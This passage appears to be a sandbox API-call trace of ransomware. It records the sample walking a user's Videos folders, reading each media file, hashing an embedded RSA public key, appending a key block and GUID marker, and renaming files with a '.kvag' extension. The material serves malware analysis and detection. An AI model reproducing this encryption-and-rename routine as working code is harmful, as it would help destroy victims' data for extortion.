(hHash=0x6183888) returned 1 [0120.891] CryptReleaseContext (hProv=0x3607e00, dwFlags=0x0) returned 1 [0120.891] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.891] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.891] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.892] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.892] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1592a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.892] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.892] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.892] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.892] CloseHandle (hObject=0x61c) returned 1 [0120.894] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\W7BUx mN-XW3vrl8O8.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\w7bux mn-xw3vrl8o8.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\W7BUx mN-XW3vrl8O8.avi.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\w7bux mn-xw3vrl8o8.avi.kvag")) returned 1 [0120.895] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48a1e10, ftCreationTime.dwHighDateTime=0x1d4cdcc, ftLastAccessTime.dwLowDateTime=0xecf79460, ftLastAccessTime.dwHighDateTime=0x1d4ccf1, ftLastWriteTime.dwLowDateTime=0xecf79460, ftLastWriteTime.dwHighDateTime=0x1d4ccf1, nFileSizeHigh=0x0, nFileSizeLow=0x18101, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WyJb_BisdCRy2SL.mkv", cAlternateFileName="WYJB_B~1.MKV")) returned 1 [0120.895] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\WyJb_BisdCRy2SL.mkv") returned=".mkv" [0120.895] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\WyJb_BisdCRy2SL.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\wyjb_bisdcry2sl.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.896] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=98561) returned 1 [0120.896] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.898] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x180db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.898] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.899] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x18101, lpOverlapped=0x0) returned 1 [0120.900] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.900] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.900] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.901] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e00) returned 1 [0120.901] CryptCreateHash (in: hProv=0x3607e00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.901] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.901] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.901] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.902] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.902] CryptReleaseContext (hProv=0x3607e00, dwFlags=0x0) returned 1 [0120.902] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.907] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.907] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.908] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.908] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x18101, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.908] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.909] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.909] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.909] CloseHandle (hObject=0x61c) returned 1 [0120.911] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\WyJb_BisdCRy2SL.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\wyjb_bisdcry2sl.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\WyJb_BisdCRy2SL.mkv.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\wyjb_bisdcry2sl.mkv.kvag")) returned 1 [0120.913] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48a1e10, ftCreationTime.dwHighDateTime=0x1d4cdcc, ftLastAccessTime.dwLowDateTime=0xecf79460, ftLastAccessTime.dwHighDateTime=0x1d4ccf1, ftLastWriteTime.dwLowDateTime=0xecf79460, ftLastWriteTime.dwHighDateTime=0x1d4ccf1, nFileSizeHigh=0x0, nFileSizeLow=0x18101, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WyJb_BisdCRy2SL.mkv", cAlternateFileName="WYJB_B~1.MKV")) returned 0 [0120.913] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.913] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.913] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\") returned="_Iy8x9AH9E4iyV\\" [0120.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0120.913] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.913] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.913] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.913] PathFindFileNameW (pszPath="") returned="" [0120.913] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6184750, ftCreationTime.dwHighDateTime=0x1d4c77f, ftLastAccessTime.dwLowDateTime=0xa2493510, ftLastAccessTime.dwHighDateTime=0x1d4c65a, ftLastWriteTime.dwLowDateTime=0xa2493510, ftLastWriteTime.dwHighDateTime=0x1d4c65a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.914] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6184750, ftCreationTime.dwHighDateTime=0x1d4c77f, ftLastAccessTime.dwLowDateTime=0xa2493510, ftLastAccessTime.dwHighDateTime=0x1d4c65a, ftLastWriteTime.dwLowDateTime=0xa2493510, ftLastWriteTime.dwHighDateTime=0x1d4c65a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.914] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159a3d70, ftCreationTime.dwHighDateTime=0x1d4c6bf, ftLastAccessTime.dwLowDateTime=0x11481570, ftLastAccessTime.dwHighDateTime=0x1d4c8f0, ftLastWriteTime.dwLowDateTime=0x11481570, ftLastWriteTime.dwHighDateTime=0x1d4c8f0, nFileSizeHigh=0x0, nFileSizeLow=0xc0d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="epV aWEiH73AG5N_wmnM.mkv", cAlternateFileName="EPVAWE~1.MKV")) returned 1 [0120.914] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\epV aWEiH73AG5N_wmnM.mkv") returned=".mkv" [0120.914] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\epV aWEiH73AG5N_wmnM.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_iy8x9ah9e4iyv\\epv aweih73ag5n_wmnm.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.915] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=49364) returned 1 [0120.915] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.917] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc0ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.917] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.918] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xc0d4, lpOverlapped=0x0) returned 1 [0120.919] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.919] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.919] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.919] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e00) returned 1 [0120.920] CryptCreateHash (in: hProv=0x3607e00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.920] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.920] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.920] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.920] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.920] CryptReleaseContext (hProv=0x3607e00, dwFlags=0x0) returned 1 [0120.920] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.920] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.920] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.921] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.921] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc0d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.921] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.921] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.921] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.921] CloseHandle (hObject=0x61c) returned 1 [0120.922] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\epV aWEiH73AG5N_wmnM.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_iy8x9ah9e4iyv\\epv aweih73ag5n_wmnm.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\epV aWEiH73AG5N_wmnM.mkv.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_iy8x9ah9e4iyv\\epv aweih73ag5n_wmnm.mkv.kvag")) returned 1 [0120.924] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdda7a110, ftCreationTime.dwHighDateTime=0x1d4d018, ftLastAccessTime.dwLowDateTime=0xc2cc1fd0, ftLastAccessTime.dwHighDateTime=0x1d4c79c, ftLastWriteTime.dwLowDateTime=0xc2cc1fd0, ftLastWriteTime.dwHighDateTime=0x1d4c79c, nFileSizeHigh=0x0, nFileSizeLow=0x8796, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PiczzFq_WT9ja-21xQgt.mp4", cAlternateFileName="PICZZF~1.MP4")) returned 1 [0120.924] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\PiczzFq_WT9ja-21xQgt.mp4") returned=".mp4" [0120.924] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\PiczzFq_WT9ja-21xQgt.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_iy8x9ah9e4iyv\\piczzfq_wt9ja-21xqgt.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.924] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=34710) returned 1 [0120.924] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.925] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8770, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.925] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.927] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x8796, lpOverlapped=0x0) returned 1 [0120.927] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.928] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.928] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.928] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e00) returned 1 [0120.928] CryptCreateHash (in: hProv=0x3607e00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.928] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.928] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.929] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.929] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.929] CryptReleaseContext (hProv=0x3607e00, dwFlags=0x0) returned 1 [0120.929] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.929] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.929] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.929] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.929] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8796, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.929] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.930] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.930] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, 